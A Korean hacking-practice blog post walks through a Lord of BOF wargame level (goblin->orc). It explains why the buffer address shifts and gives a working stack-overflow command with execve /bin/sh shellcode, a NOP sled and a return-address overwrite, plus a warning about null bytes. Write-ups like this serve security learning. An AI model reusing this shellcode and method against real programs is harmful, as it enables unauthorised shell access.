systemhacking/practice

lob goblin->orc

qkqhxla1 2015. 1. 4. 13:52

http://turtle1000.tistory.com/39 참조중. dumpcode받아서 buffer변수의 주소값 알아냄. 


주의점. 


buffer변수의 주소값은 들어오는 인자의 길이에 따라서 변한다. 


1~할당되는 0x2c사이, 2c를 넘어간 값의 인자 갯수를 대입할때마다 주소값이


다르다.(초보라 왜 그런지는 모르겠음.) 


또 실행되는 프로그램이름 argv[0]의 길이가 다르면 buffer변수의 주소값이 달라지므로(삽질의 결과) 


예시로 만들 프로그램이름 길이를 공격해야할 orc인 3글자로 맞춰주고, 들어가는 인자 길이도 실제 


공격할 길이인 48글자를 넣어서 버퍼의 주소를 알아냄.


0xbffffae0가 뜬다.


./orc `python -c 'print "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*19+"\xe0\xfa\xff\xbf"'`


쉘코드길이(25)+nop길이(19)+버퍼주소(4)= ret가 버퍼주소로 변경됨과 동시에


25+19+3=47+"\xbf"로 인덱스 47자리에 \xbf가 들어가는것도 성공



또 0xbffffb00이라고 버퍼의 주소를 가정하고 공격했을때는 끝부분이 "\x00\xfb\xff\xbf"로 


들어가게 되는데, \x00이 널값으로 취급되서 그런지 한 문자로 취급이 안된다. 한 문자로 취급이 안 


되서 \xbf가 들어가게 되는 위치는 인덱스로 47번째가 아닌 46번째가 되어 stack is still your friend.가


뜬다. "\x0a\xfb\xff\xbf" 등으로 0x00을 아무 값이로든 바꿔 주면 제대로 strcpy가


되는걸로 보아 맞는듯. 0x00이 공격 코드에 있을때는 주의.


'systemhacking > practice' 카테고리의 다른 글

lob orge->troll  (0) 2015.01.15
lob darkelf->orge  (0) 2015.01.09
lob wolfman->darkelf  (0) 2015.01.05
lob gate->gremlin  (0) 2014.12.30
ftz level9,11  (0) 2014.12.28